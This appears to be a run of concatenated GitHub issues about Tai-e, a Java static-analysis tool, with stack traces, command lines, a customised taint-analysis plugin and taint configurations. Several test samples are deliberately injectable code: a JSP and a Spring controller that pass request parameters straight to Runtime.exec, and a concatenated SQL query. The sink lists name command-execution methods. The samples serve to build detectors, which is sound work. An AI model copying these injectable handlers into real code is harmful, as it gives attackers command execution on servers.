<java.lang.invoke.StringConcatFactory: java.lang.invoke.CallSite makeConcatWithConstants(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.String,java.lang.invoke.MethodType); lang.Object[])>
function does not exist in jdk1.8
-cp E:\tools\code\casa\target\classes;xxx.jar -java 8 --input-classes=c.txt -m com.example.casa.Main -ap -a pta=action:dump;action-file:result.txt;taint-config:src\test\resources\pta\taint\taint-config.yml
c.txt is a collection of all class names of -cp
error analyzing com.vmware.vcops.casa.security.SecurityController#manageCertOnCluster
function
@ResponseStatus(HttpStatus.ACCEPTED)
@ResponseBody
@RequestMapping(
value = {"/cluster/security/certificate"},
method = {RequestMethod.POST}
)
@Auditable(
category = Category.ACTIVATE_CERTIFICATE,
auditMessage = "User activating certificate."
)
public HttpMapResponse[] manageCertOnCluster(@RequestParam(required = false,defaultValue = "ACTIVATE") String action, @RequestParam String certType) {
WebServerCertificateAction certificateAction;
try {
certificateAction = WebServerCertificateAction.valueOf(action.toUpperCase());
} catch (IllegalArgumentException var7) {
this.log.error("Illegal enum for certificate action: " + action);
throw new CasaException(var7);
}
WebServerCertificateType certificateType;
try {
certificateType = WebServerCertificateType.valueOf(certType.toUpperCase());
} catch (IllegalArgumentException var6) {
this.log.error("Illegal enum for certificate type: " + certType);
throw new CasaException(var6);
}
return this.securityService.delegateActivateWebServerCert(certificateAction, certificateType);
}
Override TaintAnalysis class to add entrypoint and source for my analysis
/*
* Tai-e: A Static Analysis Framework for Java
*
* Copyright (C) 2022 Tian Tan <[email protected]>
* Copyright (C) 2022 Yue Li <[email protected]>
*
* This file is part of Tai-e.
*
* Tai-e is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License
* as published by the Free Software Foundation, either version 3
* of the License, or (at your option) any later version.
*
* Tai-e is distributed in the hope that it will be useful,but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General
* Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with Tai-e. If not, see <https://www.gnu.org/licenses/>.
*/
package pascal.taie.analysis.pta.plugin.taint;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import pascal.taie.World;
import pascal.taie.analysis.graph.callgraph.Edge;
import pascal.taie.analysis.pta.PointerAnalysisResult;
import pascal.taie.analysis.pta.core.cs.context.Context;
import pascal.taie.analysis.pta.core.cs.element.*;
import pascal.taie.analysis.pta.core.heap.HeapModel;
import pascal.taie.analysis.pta.core.heap.Obj;
import pascal.taie.analysis.pta.core.solver.EntryPoint;
import pascal.taie.analysis.pta.core.solver.Solver;
import pascal.taie.analysis.pta.core.solver.SpecifiedParamProvider;
import pascal.taie.analysis.pta.plugin.Plugin;
import pascal.taie.analysis.pta.pts.PointsToSet;
import pascal.taie.ir.exp.InvokeExp;
import pascal.taie.ir.exp.InvokeInstanceExp;
import pascal.taie.ir.exp.Var;
import pascal.taie.ir.stmt.Invoke;
import pascal.taie.language.classes.JClass;
import pascal.taie.language.classes.JMethod;
import pascal.taie.language.type.ArrayType;
import pascal.taie.language.type.ClassType;
import pascal.taie.language.type.Type;
import pascal.taie.util.collection.Maps;
import pascal.taie.util.collection.MultiMap;
import pascal.taie.util.collection.Pair;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.TreeSet;
public class TaintAnalysis implements Plugin {
private static final Logger logger = LogManager.getLogger(TaintAnalysis.class);
/**
* Map from method (which is source method) to set of types of
* taint objects returned by the method calls.
*/
private final MultiMap<JMethod, Type> sources = Maps.newMultiMap();
/**
* Map from method (which causes taint transfer) to set of relevant
* {@link TaintTransfer}.
*/
private final MultiMap<JMethod, TaintTransfer> transfers = Maps.newMultiMap();
private final Set<Sink> sinks = new HashSet<>();
/**
* Map from variable to taint transfer information.
* The taint objects pointed to by the "key" variable are supposed
* to be transferred to "value" variable with specified type.
*/
private final MultiMap<Var, Pair<Var, Type>> varTransfers = Maps.newMultiMap();
private Solver solver;
private CSManager csManager;
private Context emptyContext;
private TaintManager manager;
private TaintConfig config;
/**
* Retrieves variable from a call site and index.
*/
private static Var getVar(Invoke callSite, int index) {
InvokeExp invokeExp = callSite.getInvokeExp();
return switch (index) {
case TaintTransfer.BASE -> ((InvokeInstanceExp) invokeExp).getBase();
case TaintTransfer.RESULT -> callSite.getResult();
default -> invokeExp.getArg(index);
};
}
@Override
public void onStart() {
HeapModel heapModel = solver.getHeapModel();
JClass httpRequestWrapper = World.get().getClassHierarchy().getClass("javax.servlet.http.HttpServletRequestWrapper");
JClass servletRequestWrapper = World.get().getClassHierarchy().getClass("javax.servlet.ServletRequestWrapper");
World.get().getClassHierarchy().allClasses().filter(c -> c.hasAnnotation("org.springframework.stereotype.Controller")).forEach(clazz -> {
System.out.println("found controller " + clazz.getName());
clazz.getDeclaredMethods().forEach(method -> {
if (method.hasAnnotation("org.springframework.web.bind.annotation.RequestMapping")) {
Obj mockObj = heapModel.getMockObj("<clazz>", clazz.getSimpleName(), clazz.getType());
SpecifiedParamProvider.Builder builder = new SpecifiedParamProvider.Builder(method).addThisObj(mockObj);
List<Type> paramTypes = method.getParamTypes();
for (int i = 0; i < paramTypes.size(); i++) {
Type type = paramTypes.get(i);
if (type.getName().equals("javax.servlet.http.HttpServletRequest")) {
type = World.get().getTypeSystem().getType("javax.servlet.http.HttpServletRequestWrapper");
} else if (type.getName().equals("javax.servlet.http.HttpServletResponse")) {
type = World.get().getTypeSystem().getType("javax.servlet.http.HttpServletResponseWrapper");
}
Obj mockParam = heapModel.getMockObj(method.getName() + ":" + type.getName(), method.getSignature(), type, method);
builder.addParamObj(i, mockParam);
if (type instanceof ArrayType) {
type = ((ArrayType) type).elementType();
}
if (type instanceof ClassType) {
World.get().getClassHierarchy().getClass(type.getName()).getDeclaredMethods().forEach(m -> sources.put(m, m.getReturnType()));
}
}
SpecifiedParamProvider provider = builder.build();
solver.addEntryPoint(new EntryPoint(method, provider));
}
});
});
httpRequestWrapper.getDeclaredMethods().stream().filter(jMethod -> jMethod.getName().startsWith("get")).forEach(m -> {
sources.put(m, m.getReturnType());
});
servletRequestWrapper.getDeclaredMethods().stream().filter(jMethod -> jMethod.getName().startsWith("get")).forEach(m -> {
sources.put(m, m.getReturnType());
});
World.get().getClassHierarchy().getClass("java.lang.Runtime").getDeclaredMethods().stream().filter(jMethod -> jMethod.getName().equals("exec")).forEach(this::add2Sink);
World.get().getClassHierarchy().getClass("java.lang.ProcessBuilder").getDeclaredMethods().stream().filter(jMethod -> jMethod.getName().equals("<init>") || jMethod.getName().equals("start")).forEach(this::add2Sink);
// World.get().getClassHierarchy().getClass("java.io.File").getDeclaredMethods().stream().filter(jMethod -> jMethod.getName().equals("<init>")).forEach(this::add2Sink);
// print sources
System.out.println("sources....");
sources.forEach((k, v) -> System.out.println(k.getMethodSource() + "\t" + v.getName()));
System.out.println();
// print sink
System.out.println("sinks....");
sinks.forEach(s -> System.out.println(s));
System.out.println();
}
Sink add2Sink(JMethod jMethod) {
for (int i = 0; i < jMethod.getParamCount(); i++) {
sinks.add(new Sink(jMethod, i));
}
return null;
}
@Override
public void setSolver(Solver solver) {
this.solver = solver;
csManager = solver.getCSManager();
emptyContext = solver.getContextSelector().getEmptyContext();
manager = new TaintManager(solver.getHeapModel());
config = TaintConfig.readConfig(solver.getOptions().getString("taint-config"), solver.getHierarchy(), solver.getTypeSystem());
// logger.info(config);
config.getSources().forEach(s -> sources.put(s.method(), s.type()));
config.getTransfers().forEach(t -> transfers.put(t.method(), t));
config.getSinks().forEach(s -> sinks.add(s));
}
@Override
public void onNewCallEdge(Edge<CSCallSite, CSMethod> edge) {
Invoke callSite = edge.getCallSite().getCallSite();
JMethod callee = edge.getCallee().getMethod();
// generate taint value from source call
Var lhs = callSite.getLValue();
if (lhs != null && sources.containsKey(callee)) {
sources.get(callee).forEach(type -> {
Obj taint = manager.makeTaint(callSite, type);
solver.addVarPointsTo(edge.getCallSite().getContext(), lhs, emptyContext, taint);
});
}
// process taint transfer
transfers.get(callee).forEach(transfer -> {
Var from = getVar(callSite, transfer.from());
Var to = getVar(callSite, transfer.to());
// when transfer to result variable, and the call site
// does not have result variable, then "to" is null.
if (to != null) {
Type type = transfer.type();
varTransfers.put(from, new Pair<>(to, type));
Context ctx = edge.getCallSite().getContext();
CSVar csFrom = csManager.getCSVar(ctx, from);
transferTaint(solver.getPointsToSetOf(csFrom), ctx, to, type);
}
});
}
private void transferTaint(PointsToSet pts, Context ctx, Var to, Type type) {
PointsToSet newTaints = solver.makePointsToSet();
pts.objects().map(CSObj::getObject).filter(manager::isTaint).map(manager::getSourceCall).map(source -> manager.makeTaint(source, type)).map(taint -> csManager.getCSObj(emptyContext, taint)).forEach(newTaints::addObject);
if (!newTaints.isEmpty()) {
solver.addVarPointsTo(ctx, to, newTaints);
}
}
@Override
public void onNewPointsToSet(CSVar csVar, PointsToSet pts) {
varTransfers.get(csVar.getVar()).forEach(p -> {
Var to = p.first();
Type type = p.second();
transferTaint(pts, csVar.getContext(), to, type);
});
}
@Override
public void onFinish() {
Set<TaintFlow> taintFlows = collectTaintFlows();
solver.getResult().storeResult(getClass().getName(), taintFlows);
}
private Set<TaintFlow> collectTaintFlows() {
PointerAnalysisResult result = solver.getResult();
Set<TaintFlow> taintFlows = new TreeSet<>();
sinks.forEach(sink -> {
int i = sink.index();
result.getCallGraph().getCallersOf(sink.method()).forEach(sinkCall -> {
Var arg = sinkCall.getInvokeExp().getArg(i);
result.getPointsToSet(arg).stream().filter(manager::isTaint).map(manager::getSourceCall).map(sourceCall -> new TaintFlow(sourceCall, sinkCall, i)).forEach(taintFlows::add);
});
});
return taintFlows;
}
}
win10 idea 0934e79
Benchmark-1.0-SNAPSHOT.jar.zip
public void test1(java.lang.String r2) {
java.lang.StringBuilder $r0, $r1, $r3, $r4;
java.lang.String %stringconst0, %stringconst1, $r5;
[0@L14] $r0 = new java.lang.StringBuilder;
[1@L14] invokespecial $r0.<java.lang.StringBuilder: void <init>()>();
[2@L14] %stringconst0 = "select * from user where name='";
[3@L14] $r1 = invokevirtual $r0.<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>(%stringconst0);
[4@L14] $r3 = invokevirtual $r1.<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>(r2);
[5@L14] %stringconst1 = "'";
[6@L14] $r4 = invokevirtual $r3.<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>(%stringconst1);
[7@L14] $r5 = invokevirtual $r4.<java.lang.StringBuilder: java.lang.String toString()>();
[8@L15] invokevirtual %this.<com.bytecodedl.benchmark.demo.TaintDemo1: void Sink(java.lang.String)>($r5);
[9@L16] return;
}
no only-app:true
options:
with only-app:true
options:
$r1, $r3,$r4 pointer sets missing
java -jar tai-e-all.jar -cp Benchmark-1.0-SNAPSHOT.jar -m com.bytecodedl.benchmark.demo.TaintDemo1 -a "pta=action:dump;action-file:/tmp/p.dump;only-app:true"
java -jar tai-e-all.jar -cp Benchmark-1.0-SNAPSHOT.jar -m com.bytecodedl.benchmark.demo.TaintDemo1 -a "pta=action:dump;action-file:/tmp/p.dump"
openjdk version "17.0.4.1" 2022-08-12 LTS
OpenJDK Runtime Environment Zulu17.36+17-CA (build 17.0.4.1+1-LTS)
OpenJDK 64-Bit Server VM Zulu17.36+17-CA (build 17.0.4.1+1-LTS, mixed mode, sharing)
Version 0.1
Tai-e is resident in memory as a service, so as to avoid repeated analysis of public classes in jdk.
If I want to analyze java rt.jar
only, what setting should I put (only-app
true/false
) or modifications I need to make to the project ?
Also, I see many java excluded packages in the code (determineExcludedPackages
)
Hello everyone, I've met a problem when I tried to analyze hadoop components (2.10.2).
Exception in thread "main" java.lang.RuntimeException: couldn't find class: com.google.gson.internal.$Gson (are your class path and class name given properly?)
at pascal.taie.frontend.soot.SootWorldBuilder.runSoot(SootWorldBuilder.java:249)
at pascal.taie.frontend.soot.SootWorldBuilder.build(SootWorldBuilder.java:73)
at pascal.taie.Main.lambda$buildWorld$3(Main.java:121)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.buildWorld(Main.java:116)
at pascal.taie.Main.lambda$main$0(Main.java:55)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.main(Main.java:48)
at TestTaie.main(TestTaie.java:175)
The console logs says that I missed com.google.gson.internal.$Gson
, but the release jar of Gson doesn't have this class. How can I get more detailed information? Could you please help me about that, thanks a lot!
Src code
<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.InputStream" %>
<%
String cmd = request.getParameter("x");
Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process p = (Process)expr.getValue();
%>
If the cmd
argument is a taint, then I want to be able to pass the taint to expr, so that the taint flow can be detected when expr.getValue()
is called.
TaintConfig
sources:
- { method: "<javax.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>", type: "java.lang.String" }
- { method: "<javax.servlet.ServletRequestWrapper: java.lang.String getParameter(java.lang.String)>", type: "java.lang.String"}
sinks:
- { method: "<java.beans.Expression: java.lang.Object getValue()>", index: base }
transfers:
- { method: "<java.beans.Expression: void <init>(java.lang.Object,java.lang.String,java.lang.Object[])>", from: 2, to: base, type: "java.beans.Expression"}
Related Tai-e IR
[46@L127] %stringconst10 = "ladypwd";
[47@L127] $r25 = invokeinterface request.<javax.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>(%stringconst10);
[48@L128] $r35 = new java.beans.Expression;
[49@L128] $r27 = invokestatic <java.lang.Runtime: java.lang.Runtime getRuntime()>();
[50@L128] $r28 = newarray java.lang.Object[%intconst6];
[51@L128] $r28[%intconst0] = $r25;
[52@L128] %stringconst11 = "exec";
[53@L128] invokespecial $r35.<java.beans.Expression: void <init>(java.lang.Object,java.lang.String,java.lang.Object[])>($r27, %stringconst11, $r28);
[54@L129] $r29 = invokevirtual $r35.<java.beans.Expression: java.lang.Object getValue()>();
[55@L129] $r30 = (java.lang.Process) $r29;
In the web project, the program entry is not the main function. I refer to #9 and #7 to add the web controller to the entrypoint.
@Override
public void onStart() {
World.get().getClassHierarchy().applicationClasses().forEach(s -> {
s.getDeclaredMethods().forEach(m -> {
solver.addEntryPoint(new EntryPoint(m, EmptyParamProvider.get()));
});
});
JClass request = World.get().getClassHierarchy().getClass("javax.servlet.ServletRequest");
request.getDeclaredMethods().forEach(m -> {
sources.put(m, m.getReturnType());
});
}
and i have one class like this:
package com.example.demo.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@RestController
public class TestController {
@RequestMapping("/")
public String index(HttpServletRequest request) throws IOException {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
return "hello";
}
}
my command line
-cp
C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\classes;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-annotations-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-core-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-databind-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-datatype-jdk8-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-datatype-jsr310-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-module-parameter-names-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jakarta.annotation-api-1.3.5.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jul-to-slf4j-1.7.36.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\log4j-api-2.17.2.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\log4j-to-slf4j-2.17.2.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\logback-classic-1.2.11.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\logback-core-1.2.11.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\slf4j-api-1.7.36.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\snakeyaml-1.30.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\tomcat-embed-core-9.0.65.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\tomcat-embed-el-9.0.65.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\tomcat-embed-websocket-9.0.65.jar
-m
com.example.demo.Demo5Application
--input-classes=com.example.demo.controller.TestController
-java
8
-ap
-a
pta=action:dump;action-file:dumpfile;taint-config:src\test\resources\pta\taint\taint-config.yml
taint-config.yml
sources:
- { method: "<SourceSink: java.lang.String source()>", type: "java.lang.String" }
- { method: "<SourceSink: java.lang.String sourceAndSink(java.lang.String,java.lang.String)>", type: "java.lang.String" }
- { method: "<taint.A: java.lang.String source()>", type: "java.lang.String" }
- { method: "<javax.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>", type: "java.lang.String" }
sinks:
- { method: "<SourceSink: void sink(java.lang.String)>", index: 0 }
- { method: "<SourceSink: void sink(java.lang.String,int)>", index: 0 }
- { method: "<SourceSink: void sink(java.lang.String,java.lang.String)>", index: 1 }
- { method: "<SourceSink: java.lang.String sourceAndSink(java.lang.String,java.lang.String)>", index: 0 }
- { method: "<java.lang.Runtime: java.lang.Process exec(java.lang.String)>", index: 0 }
transfers:
- { method: "<java.lang.String: java.lang.String concat(java.lang.String)>", from: base, to: result, type: "java.lang.String" }
- { method: "<java.lang.String: java.lang.String concat(java.lang.String)>", from: 0, to: result, type: "java.lang.String" }
- { method: "<java.lang.String: char[] toCharArray()>", from: base, to: result, type: "char[]" }
- { method: "<java.lang.String: void <init>(char[])>", from: 0, to: base, type: "java.lang.String" }
- { method: "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.String)>", from: 0, to: base, type: "java.lang.StringBuffer" }
- { method: "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.Object)>", from: 0, to: base, type: "java.lang.StringBuffer" }
- { method: "<java.lang.StringBuffer: java.lang.String toString()>", from: base, to: result, type: "java.lang.String" }
- { method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>", from: 0, to: base, type: "java.lang.StringBuilder" }
- { method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.Object)>", from: 0, to: base, type: "java.lang.StringBuilder" }
- { method: "<java.lang.StringBuilder: java.lang.String toString()>", from: base, to: result, type: "java.lang.String" }
What I expect is that a taint stream should be output from com.example.demo.controller.TestController#index
to java.lang.Runtime#exec(java.lang.String)
,but i got nothing.
i don't why,pls help me.thank you.
Hello every one, I'm trying to build a interprocedural analysis, but I met a problem.
...
CFG of <java.math.BigInteger: int getInt(int)> is absent, try to fix this by adding option -scope=reachable
CFG of <sun.misc.Service: void access$000(java.lang.Class,java.lang.String)> is absent, try to fix this by adding option -scope=reachable
...
Exception in thread "main" java.lang.NullPointerException: Cannot invoke "pascal.taie.analysis.graph.cfg.CFG.getEntry()" because the return value of "pascal.taie.analysis.graph.icfg.ICFGBuilder.getCFGOf(pascal.taie.language.classes.JMethod)" is null
at pascal.taie.analysis.graph.icfg.DefaultICFG.getEntryOf(DefaultICFG.java:135)
at pascal.taie.analysis.graph.icfg.DefaultICFG.getEntryOf(DefaultICFG.java:48)
at java.base/java.util.stream.ReferencePipeline$3$1.accept(ReferencePipeline.java:197)
at java.base/java.util.HashMap$KeySpliterator.forEachRemaining(HashMap.java:1707)
at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:522)
at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:512)
at java.base/java.util.stream.ReduceOps$ReduceOp.evaluateSequential(ReduceOps.java:921)
at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:239)
at java.base/java.util.stream.ReferencePipeline.collect(ReferencePipeline.java:682)
at pascal.taie.analysis.dataflow.inter.InterSolver.initialize(InterSolver.java:64)
at pascal.taie.analysis.dataflow.inter.InterSolver.solve(InterSolver.java:56)
at pascal.taie.analysis.dataflow.inter.AbstractInterDataflowAnalysis.analyze(AbstractInterDataflowAnalysis.java:125)
at pascal.taie.analysis.dataflow.inter.AbstractInterDataflowAnalysis.analyze(AbstractInterDataflowAnalysis.java:44)
at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:93)
at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:71)
at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
at pascal.taie.Main.executePlan(Main.java:142)
at pascal.taie.Main.lambda$main$0(Main.java:56)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.main(Main.java:48)
at TestTaie.main(TestTaie.java:67)
The log mentioned that I need to add a option -scope=reachable
, which I did. But I encountered a new problem.
Exception in thread "main" java.lang.UnsupportedOperationException
at java.base/java.util.ImmutableCollections.uoe(ImmutableCollections.java:142)
at java.base/java.util.ImmutableCollections$AbstractImmutableCollection.add(ImmutableCollections.java:147)
at pascal.taie.config.AnalysisPlanner.expandPlan(AnalysisPlanner.java:149)
at pascal.taie.Main.processConfigs(Main.java:83)
at pascal.taie.Main.lambda$main$0(Main.java:50)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.main(Main.java:48)
at TestTaie.main(TestTaie.java:67)
Can you help me about that, thanks a lot!
Hello =)
I am trying to run tai-e on a jar project I downloaded from this link. Specifically on commons-io-2.9.0-test-sources.jar.
To run this, I used following argument below.
This is the path of the .jar
-cp "XXX/XX/jar/commons-io-2.9.0-test-sources.jar"
This is the path of the .class file
--input-classes="org/apache/commons/io/input/BoundedInputStreamTest.class"
This is just trying to reproduce example posted on your documentation
-a pta=cs:2-type;merge-string-constants:true
Unfortunately, I got errors below. I was wondering if you could help me to resolve this issue?
Tai-e starts ...
Writing options to output\options.yml
Writing analysis plan to output\tai-e-plan.yml
WorldBuilder starts ...
Exception in thread "main" java.lang.NullPointerException: Cannot invoke "String.charAt(int)" because "option" is null
at soot.options.Options.parse(Options.java:136)
at soot.Main.processCmdLine(Main.java:85)
at soot.Main.run(Main.java:248)
at pascal.taie.frontend.soot.SootWorldBuilder.runSoot(SootWorldBuilder.java:246)
at pascal.taie.frontend.soot.SootWorldBuilder.build(SootWorldBuilder.java:73)
at pascal.taie.Main.lambda$buildWorld$3(Main.java:121)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.buildWorld(Main.java:116)
at pascal.taie.Main.lambda$main$0(Main.java:55)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.main(Main.java:48)
Process finished with exit code 1
Thank you so much!
When running with "./gradlew test" in cmdline, I find that all testsuites FAILED.
Then I run a testsuite(testAssign) in IDEA, the output is
"Soot frontend failed to parse input Java source file(s).
This exception may be caused by:
The real problem is "Cannot invoke "soot.JastAddJ.ClassDecl.localMethodsSignature(String)" because the return value of "soot.JastAddJ.ClassDecl.superclass()" is null" in SootWorldBuilder.java. It's weird because the testsuite is right in Tai-e-assignments project.
Then I find that "lib/dependencies.jar" may contains Soot dependencies in Tai-e-assignments project, however Tai-e use soot.jar from gradle. I'm not sure it's the reason to make the difference. But how can I run the testsuites in Tai-e project ?
LiveVarTest.java
public void testAssign() {
testLV("Assign");
}
ubuntu 22
jdk-17.04
latest Tai-e, 0.0.3, 2022.10.26, commit c67eb33
2 questions
How to distinguish the application code of an application from the lib depends on. It is expected that only the application code needs to be analyzed during analysis, and the lib package should be ignored. Because there are hundreds of lib packages for the application, and the code in the lib package is not what we care about, so if we analysis the whole program is not necessary, we want to ignore the lib, thanks.
if assumption 1 is true, which is the lib can be ignored, and only the application code is analyzed. Then another issue will come, How to analyze the pointer propagation of the dependent lib package? For example, spring's transaction template, like code following code, ideally, the pt of var order should be propagate to the parameter of orderService.save(order);
Order oder = new Order();
return transactionTemplate. execute(status -> {
orderService.save(order);
});
I have also done some research on soot, I've seem Tai-e ignore method depends on sootClass.isApplicationClass(), and soot use -include pkg and -exclude pkg to identify the class is a application class or not, but tai-e framework looks like doesn't have any interface to modify this value, thank you.
No response
No response
taint tracking is very useful in find Java vulns, So I advise to implement taint analysis in Tai-e
maybe IFDS framework?
No response
No response
I completed the configuration of tai-e in idea according to the tutorial, and then I tried to run the test case that came with tai-e, but a NPE was reported
I noticed that there was an issue #13 report on the same problem, but the solution was not very detailed. I tried all kinds of solutions but it didn't work
I would like to ask how to solve this problem
when I run any test case in tai-e๏ผ
WorldBuilder starts ...
java.lang.NullPointerException: Cannot invoke "soot.JastAddJ.ClassDecl.localMethodsSignature(String)" because the return value of "soot.JastAddJ.ClassDecl.superclass()" is null
at soot.JastAddJ.ClassDecl.ancestorMethods_compute(ClassDecl.java:1155)
at soot.JastAddJ.ClassDecl.ancestorMethods(ClassDecl.java:1145)
at soot.JastAddJ.TypeDecl.refined_TypeHierarchyCheck_TypeDecl_typeCheck(TypeDecl.java:704)
at soot.JastAddJ.TypeDecl.typeCheck(TypeDecl.java:1640)
at soot.JastAddJ.ASTNode.collectErrors(ASTNode.java:1284)
at soot.JastAddJ.ASTNode.collectErrors(ASTNode.java:1292)
at soot.JastAddJ.ASTNode.collectErrors(ASTNode.java:1292)
at soot.JastAddJ.CompilationUnit.errorCheck(CompilationUnit.java:178)
at soot.JastAddInitialResolver.formAst(JastAddInitialResolver.java:67)
at soot.JavaClassSource.resolve(JavaClassSource.java:63)
at soot.SootResolver.bringToHierarchyUnchecked(SootResolver.java:274)
at soot.SootResolver.bringToHierarchy(SootResolver.java:243)
at soot.SootResolver.bringToSignatures(SootResolver.java:313)
at soot.SootResolver.bringToBodies(SootResolver.java:353)
at soot.SootResolver.processResolveWorklist(SootResolver.java:190)
at soot.SootResolver.resolveClass(SootResolver.java:155)
at soot.Scene.loadClass(Scene.java:1016)
at soot.Scene.loadClassAndSupport(Scene.java:1003)
at soot.Scene.loadNecessaryClass(Scene.java:1944)
at soot.Scene.loadNecessaryClasses(Scene.java:1956)
at soot.Main.run(Main.java:240)
at pascal.taie.frontend.soot.SootWorldBuilder.runSoot(SootWorldBuilder.java:252)
I didn't set my own parameters and ran the test case that came with tai-e
tai-e: latest version 0.0.3 on Jul 31, 2022
jdk: corretto-17.0.8
Environment: Windows 10
Idea: Community Version, 2022.2.1
When I try to set up Tai-e, I met some problems. It seems that the language feature(multi-line string, pattern matching for switch) are not supported, which confused me. Follow the instruction here, I can not find the Oracle openjdk17.
So I use openjdk 18 instead. I also try the language level as 17(Preview), 18(no new) and 18(Preview), still has errors(see below).
When I run the tests or Main
class, it complains the below errors. Although the idea UI seems all right(i.e. no red line...).
I new a demo project with pattern matching switch, use the openjdk18 and 18(Preview), the program works fine. With 17 - Sealed types, ...
as suggested, the idea UI has red lines, the error also suggest --enable-preview
(but it is only supported in 18). Also the error here is quite different when setting up Tai-e.
This issue may be a little stupid... Any advide? Thanks for your time.
Hello everyone! I've met a problem when I used interprocedural constant propagation. The console log is as follows:
inter-constprop starts ...
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Array index out of range: 0
at java.base/java.util.ImmutableCollections$ListN.get(ImmutableCollections.java:680)
at pascal.taie.analysis.dataflow.inter.InterConstantPropagation.transferCallEdge(InterConstantPropagation.java:336)
